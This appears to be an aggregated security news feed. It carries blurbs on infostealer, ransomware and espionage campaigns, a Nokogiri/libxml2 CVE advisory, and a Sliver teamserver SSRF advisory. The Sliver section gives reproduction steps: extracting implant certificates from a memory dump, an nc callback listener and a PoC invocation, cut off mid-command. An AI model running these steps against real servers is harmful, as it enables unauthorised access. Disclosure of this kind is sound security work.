#git

An infostealer known as ACRStealer is using legitimate platforms like Google Docs and Steam as part of an attack.

Cisco Talos has been closely monitoring reports of widespread intrusion activity against several major U.S. telecommunications companies, by a threat actor dubbed Salt Typhoon. This blog highlights our observations on this campaign and identifies recommendations for detection and prevention.

Google enables marketers to target people with serious illnesses and crushing debt—against its policies—as well as the makers of classified defense technology, a WIRED investigation has found.

FBI and CISA warn of Ghost ransomware, a China-based cyber threat targeting businesses, schools, and healthcare worldwide by exploiting software vulnerabilities.

A malware campaign distributing the XLoader malware has been observed using the DLL side-loading technique by making use of a legitimate application associated with the Eclipse Foundation. "The legitimate application used in the attack, jarsigner, is a file created during the installation of the IDE package distributed by the Eclipse Foundation," the AhnLab SEcurity Intelligence Center (ASEC)

Breeze Liu has been a prominent advocate for victims. But even she struggled to scrub nonconsensual intimate images and videos of herself from the web.

DOGE technologists Edward Coristine—the 19-year-old known online as “Big Balls”—and Kyle Schutt are now listed as staff at the Cybersecurity and Infrastructure Security Agency.

These sorts of attacks reveal growing adversary interest in secure messaging apps used by high-value targets for communication, Google says.

## Summary Nokogiri v1.18.3 upgrades its dependency libxml2 to [v2.13.6](https://gitlab.gnome.org/GNOME/libxml2/-/releases/v2.13.6). libxml2 v2.13.6 addresses: - CVE-2025-24928 - described at https://gitlab.gnome.org/GNOME/libxml2/-/issues/847 - CVE-2024-56171 - described at https://gitlab.gnome.org/GNOME/libxml2/-/issues/828 ## Impact ### CVE-2025-24928 Stack-buffer overflow is possible when reporting DTD validation errors if the input contains a long (~3kb) QName prefix. ### CVE-2024-56171 Use-after-free is possible during validation against untrusted XML Schemas (.xsd) and, potentially, validation of untrusted documents against trusted Schemas if they make use of `xsd:keyref` in combination with recursively defined types that have additional identity constraints.

### Summary The reverse port forwarding in sliver teamserver allows the implant to open a reverse tunnel on the sliver teamserver without verifying if the operator instructed the implant to do so ### Reproduction steps Run server ``` wget https://github.com/BishopFox/sliver/releases/download/v1.5.42/sliver-server_linux chmod +x sliver-server_linux ./sliver-server_linux ``` Generate binary ``` generate --mtls 127.0.0.1:8443 ``` Run it on windows, then `Task manager -> find process -> Create memory dump file` Install RogueSliver and get the certs ``` git clone https://github.com/ACE-Responder/RogueSliver.git pip3 install -r requirements.txt --break-system-packages python3 ExtractCerts.py implant.dmp ``` Start callback listener. Teamserver will connect when POC is run and send "ssrf poc" to nc ``` nc -nvlp 1111 ``` Run the poc (pasted at bottom of this file) ``` python3 poc.py <SLIVER IP> <MTLS PORT> <CALLBACK IP> <CALLBACK PORT> python3 poc.py 192.168.1.33 8443 44.221.186.72 1111...